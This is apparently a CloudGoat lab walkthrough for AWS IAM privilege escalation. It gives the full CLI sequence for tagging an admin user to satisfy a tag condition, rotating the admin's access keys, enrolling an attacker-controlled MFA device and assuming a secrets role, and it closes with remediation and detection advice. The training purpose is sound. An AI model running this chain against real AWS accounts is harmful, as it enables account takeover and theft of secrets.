# Cloudgoat Easy: IAM Privilege Escalation by Key Rotation

In this lab, we'll be doing a walkthrough on the [**iam\_privesc\_by\_key\_rotation**](https://github.com/RhinoSecurityLabs/cloudgoat#iam_privesc_by_key_rotation-moderate) cloudgoat scenario.

**Summary of the path**`Start as manager user` -> `Enumerate users, roles, and policies` -> `Find SelfManageAccess gated on a developer tag` -> `Find TagResources with no condition at all` -> `Tag the admin user as a developer` -> `Rotate the admin's access keys` -> `Enroll our own virtual MFA device on the admin` -> `Assume the secretsmanager role` -> `Read the secret`

This one is all privilege escalation, no credential leak to pivot through. Everything we need is sitting in the manager's own inline policies, and the whole chain turns on one mistake: the condition that's supposed to restrict us is checked against a tag we're allowed to write.

The lab covers attribute-based access control (ABAC) and how it fails, why access key quotas matter to an attacker, and why MFA is not much of a control when the attacker can enroll the device.

## Setting up

We'll spin up the lab and configure a profile with the manager's keys.

```shell
$ cloudgoat create iam_privesc_by_key_rotation
<SNIP>
cloudgoat_output_manager_access_key_id = AKIAUWJPWY7O4SHYORXN
cloudgoat_output_manager_secret_key = <REDACTED>
 
$ aws configure --profile privesc-rotation
```

Confirm who we are.

```shell
$ aws sts get-caller-identity --profile privesc-rotation
{
    "UserId": "AIDAUWJPWY7OXVOWAM7LS",
    "Account": "322759477213",
    "Arn": "arn:aws:iam::322759477213:user/manager_cgid3kaxm30j06"
}
```

## Enumeration

### Users

```shell
$ aws iam get-user --profile privesc-rotation
{
    "User": {
        "UserName": "manager_cgid3kaxm30j06",
        "Arn": "arn:aws:iam::322759477213:user/manager_cgid3kaxm30j06",
        "Tags": [
            { "Key": "Scenario", "Value": "iam_privesc_by_key_rotation" },
            { "Key": "Stack", "Value": "CloudGoat" }
        ]
    }
}
```

Note the tags on our own user. That detail comes back later.

```shell
$ aws iam list-users --profile privesc-rotation
<SNIP>
    "UserName": "admin_cgid3kaxm30j06",
    "UserName": "cloudgoat",
    "UserName": "developer_cgid3kaxm30j06",
    "UserName": "manager_cgid3kaxm30j06",
```

Three scenario users plus the cloudgoat provisioning account. `admin_` is the obvious target, and `developer_` is worth remembering.

### Roles

```shell
$ aws iam list-roles --profile privesc-rotation
<SNIP>
        {
            "RoleName": "cg_secretsmanager_cgid3kaxm30j06",
            "Arn": "arn:aws:iam::322759477213:role/cg_secretsmanager_cgid3kaxm30j06",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": { "AWS": "arn:aws:iam::322759477213:root" },
                        "Action": "sts:AssumeRole",
                        "Condition": {
                            "Bool": { "aws:MultiFactorAuthPresent": "true" }
                        }
                    }
                ]
            },
            "Description": "Access to view secrets"
        }
```

Everything else in the list is an AWS service-linked role, so this is the only one that matters. Two things stand out. The trust policy names the account root, which means any principal in the account can assume it as long as their identity policy allows `sts:AssumeRole`. And the condition requires MFA to be present on the calling session, so long-lived access keys alone won't get us in.

Its attached policy tells us why we want it:

```shell
$ aws iam list-attached-role-policies --role-name cg_secretsmanager_cgid3kaxm30j06 --profile privesc-rotation
<SNIP>
    "PolicyName": "cg_view_secrets_cgid3kaxm30j06",
 
$ aws iam get-policy-version --policy-arn arn:aws:iam::322759477213:policy/cg_view_secrets_cgid3kaxm30j06 --version-id v1 --profile privesc-rotation
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": "secretsmanager:ListSecrets",
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": "secretsmanager:GetSecretValue",
                    "Effect": "Allow",
                    "Resource": "arn:aws:secretsmanager:us-east-1:322759477213:secret:cg_secret_cgid3kaxm30j06-wsVqgL"
                }
            ]
        }
    }
}
```

That's the goal. The secret is only readable through this role, and the role is only reachable with MFA.

### Our own permissions

Let's use Pacu to enumerate what the manager can actually do, then read the policies directly.

```plaintext
Pacu (privesc-rotation:imported-privesc-rotation) > run iam__enum_permissions
Pacu (privesc-rotation:imported-privesc-rotation) > data
<SNIP>
IAM: {
    "permissions": {
        "allow": [
            "iam:Get*",
            "iam:List*",
            "sts:GetCallerIdentity",
            "sts:GetSessionToken",
            <SNIP>
        ],
        "deny": [
            "iam:ListGroupPolicies"
        ]
    }
}
```

Pacu's list is deduplicated here. The managed policy behind most of it is `IAMReadOnlyAccess`:

```shell
$ aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/IAMReadOnlyAccess --version-id v4 --profile privesc-rotation
<SNIP>
    "Action": [
        "iam:GenerateCredentialReport",
        "iam:GenerateServiceLastAccessedDetails",
        "iam:Get*",
        "iam:List*",
        "iam:SimulateCustomPolicy",
        "iam:SimulatePrincipalPolicy"
    ],
    "Resource": "*"
```

Read-only, so nothing exploitable on its own. The interesting permissions are in the inline policies, which is why it's worth checking `list-user-policies` and not stopping at the attached ones.

```shell
$ aws iam list-user-policies --user-name manager_cgid3kaxm30j06 --profile privesc-rotation
{
    "PolicyNames": [
        "SelfManageAccess",
        "TagResources"
    ]
}
```

## Finding the flaw

Here's `SelfManageAccess`:

```shell
$ aws iam get-user-policy --policy-name SelfManageAccess --user-name manager_cgid3kaxm30j06 --profile privesc-rotation
<SNIP>
            {
                "Action": [
                    "iam:DeactivateMFADevice",
                    "iam:GetMFADevice",
                    "iam:EnableMFADevice",
                    "iam:ResyncMFADevice",
                    "iam:DeleteAccessKey",
                    "iam:UpdateAccessKey",
                    "iam:CreateAccessKey"
                ],
                "Condition": {
                    "StringEquals": {
                        "aws:ResourceTag/developer": "true"
                    }
                },
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:iam::322759477213:user/*",
                    "arn:aws:iam::322759477213:mfa/*"
                ],
                "Sid": "SelfManageAccess"
            },
            {
                "Action": [
                    "iam:DeleteVirtualMFADevice",
                    "iam:CreateVirtualMFADevice"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:iam::322759477213:mfa/*",
                "Sid": "CreateMFA"
            }
```

Read the `Resource` and the `Condition` together. The resource is `user/*`, every user in the account, and the only thing holding it back is a tag check: the target has to carry `developer = true`. The policy name says self-manage, but nothing in it ties the target to the caller. There's no `${aws:username}` anywhere. The tag is doing all the work.

Now `TagResources`:

```shell
$ aws iam get-user-policy --policy-name TagResources --user-name manager_cgid3kaxm30j06 --profile privesc-rotation
<SNIP>
            {
                "Action": [
                    "iam:UntagUser",
                    "iam:UntagRole",
                    "iam:TagRole",
                    "iam:UntagMFADevice",
                    "iam:UntagPolicy",
                    "iam:TagMFADevice",
                    "iam:TagPolicy",
                    "iam:TagUser"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": "TagResources"
            }
```

`iam:TagUser` on `*`, no condition. So we can write the exact tag that the other policy checks, on any user we like. The gate and the key are both handed to the same principal.

This is the ABAC failure mode worth remembering. Tag-based conditions only hold if the tags are immutable to the people they're restricting. The moment a principal can write the attribute that gates its own access, the condition is decoration.

## Privilege escalation

Tag the admin as a developer:

```shell
$ aws iam tag-user --user-name admin_cgid3kaxm30j06 --tags '{"Key":"developer","Value":"true"}' --profile privesc-rotation
```

No output, no error, which means `SelfManageAccess` now applies to the admin user.

```shell
$ aws iam list-access-keys --user-name admin_cgid3kaxm30j06 --profile privesc-rotation
{
    "AccessKeyMetadata": [
        {
            "UserName": "admin_cgid3kaxm30j06",
            "AccessKeyId": "AKIAUWJPWY7O2TPLEMG3",
            "Status": "Inactive",
            "CreateDate": "2026-08-17T08:01:51+00:00"
        },
        {
            "UserName": "admin_cgid3kaxm30j06",
            "AccessKeyId": "AKIAUWJPWY7O6GAECA4O",
            "Status": "Inactive",
            "CreateDate": "2026-08-17T08:01:51+00:00"
        }
    ]
}
```

Both existing keys are inactive, and there are two of them. IAM caps users at two access keys, so `create-access-key` will fail until we free a slot. That's the reason this scenario is called key *rotation* rather than key creation. We have to delete before we create.

```shell
$ aws iam delete-access-key --access-key-id AKIAUWJPWY7O6GAECA4O --user-name admin_cgid3kaxm30j06 --profile privesc-rotation
 
$ aws iam create-access-key --user-name admin_cgid3kaxm30j06 --profile privesc-rotation
{
    "AccessKey": {
        "UserName": "admin_cgid3kaxm30j06",
        "AccessKeyId": "AKIAUWJPWY7O365QZMMQ",
        "Status": "Active",
        "SecretAccessKey": "<REDACTED>",
        "CreateDate": "2026-08-17T09:44:45+00:00"
    }
}
```

Both of the admin's original keys were already inactive here, so deleting one costs nothing. On a real engagement that delete is destructive and can break whatever was using the key, so it needs to be in scope and agreed before you run it.

Configure the new keys and confirm.

```shell
$ aws configure --profile admin
 
$ aws sts get-caller-identity --profile admin
{
    "UserId": "AIDAUWJPWY7OQCUFTJKVL",
    "Account": "322759477213",
    "Arn": "arn:aws:iam::322759477213:user/admin_cgid3kaxm30j06"
}
```

We're the admin. This maps to MITRE [T1098.001](https://attack.mitre.org/techniques/T1098/001/), Account Manipulation: Additional Cloud Credentials.

## Getting past the MFA condition

Being admin isn't enough, because the secretsmanager role wants `aws:MultiFactorAuthPresent` to be true and our session is a plain access key. The admin has no MFA device registered, so we'll register one of our own.

The `CreateMFA` statement in `SelfManageAccess` has no tag condition at all, so the manager can create a virtual MFA device outright:

```shell
$ aws iam create-virtual-mfa-device --virtual-mfa-device-name test --outfile code.txt --bootstrap-method Base32StringSeed --profile privesc-rotation
{
    "VirtualMFADevice": {
        "SerialNumber": "arn:aws:iam::322759477213:mfa/test"
    }
}
 
$ cat code.txt
<REDACTED BASE32 SEED>
```

Feed that seed into any TOTP generator to produce codes.

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/b644db94-ed3f-4400-a5b9-11bcd7fdd81f.png align="center")

Then attach the device to the admin user. `iam:EnableMFADevice` is in the tag-gated statement, and we already tagged the admin, so it goes through. Enabling requires two consecutive codes to prove the seed is synced.

```shell
$ $ aws iam enable-mfa-device --user-name admin_cgid3kaxm30j06 --serial-number arn:aws:iam::322759477213:mfa/test --authentication-code1 827460 --authentication-code2 861266 --profile privesc-rotation
```

The admin account now has an MFA device that we control, which is [T1556.006](https://attack.mitre.org/techniques/T1556/006/), Modify Authentication Process: Multi-Factor Authentication. MFA only helps if the enrollment path is protected as carefully as the login path.

## Assuming the role

With a token code in hand, the trust policy's condition is satisfied.

```shell
$ aws sts assume-role --role-arn arn:aws:iam::322759477213:role/cg_secretsmanager_cgid3kaxm30j06 \
    --role-session-name privesc --profile admin \
    --token-code 032104 --serial-number arn:aws:iam::322759477213:mfa/test
{
    "Credentials": {
        "AccessKeyId": "ASIAUWJPWY7O6K3G6FKW",
        "SecretAccessKey": "<REDACTED>",
        "SessionToken": "<REDACTED>",
        "Expiration": "2026-08-17T12:36:39+00:00"
    },
    "AssumedRoleUser": {
        "Arn": "arn:aws:sts::322759477213:assumed-role/cg_secretsmanager_cgid3kaxm30j06/privesc"
    }
}
```

These are temporary credentials, so the profile needs the session token as well as the key pair.

```shell
$ aws configure --profile privesc-rotation-secretsmanager
<SNIP>
AWS Session Token [None]: <REDACTED>
 
$ aws sts get-caller-identity --profile privesc-rotation-secretsmanager
{
    "UserId": "AROAUWJPWY7OTWVQUNQ2H:privesc",
    "Account": "322759477213",
    "Arn": "arn:aws:sts::322759477213:assumed-role/cg_secretsmanager_cgid3kaxm30j06/privesc"
}
```

## Reading the secret

```shell
$ aws secretsmanager list-secrets --profile privesc-rotation-secretsmanager
<SNIP>
    "Name": "cg_secret_cgid3kaxm30j06",
    "Description": "The primary secret for the iam_privesc_by_key_rotation scenario",
 
$ aws secretsmanager get-secret-value --secret-id cg_secret_cgid3kaxm30j06 --profile privesc-rotation-secretsmanager
<SNIP>
    "SecretString": "flag{14m_PERM15510N5_4Re_5C4R_24619fa09720f435778fb154d6b1aab6fc93f7af319433906862129ac8838780}",
```

![](https://cdn.hashnode.com/uploads/covers/673c6b60dcfeadc44f6aa79d/de39c48b-c601-4e27-b775-07a8fc3afca5.png align="center")

## Final Flag

```plaintext
flag{14m_PERM15510N5_4Re_5C4R_24619fa09720f435778fb154d6b1aab6fc93f7af319433906862129ac8838780}
```

## Fixing it

The chain breaks at several points, and each one is a separate mistake:

*   Don't grant `iam:TagUser` and a tag-gated permission to the same principal. If a condition depends on `aws:ResourceTag/developer`, then writing that tag has to be a privileged operation, restricted to a role the user can't reach.
    
*   Scope `SelfManageAccess` to the caller. `arn:aws:iam::<ACCOUNT_ID>:user/${aws:username}` is what the policy name implies and what the resource block should have said, instead of `user/*` with a tag as the only guard.
    
*   Split MFA enrollment from MFA use. `iam:EnableMFADevice` and `iam:CreateVirtualMFADevice` on other users' identities is an authentication bypass, not a helpdesk convenience.
    
*   Alert on CloudTrail `TagUser`, `CreateAccessKey`, and `EnableMFADevice` where the caller doesn't match the target user. Any one of those three on its own is worth a look. All three from the same principal inside a few minutes is the whole attack. Tear the lab down when you're finished:
    

```shell
$ cloudgoat destroy iam_privesc_by_key_rotation
```
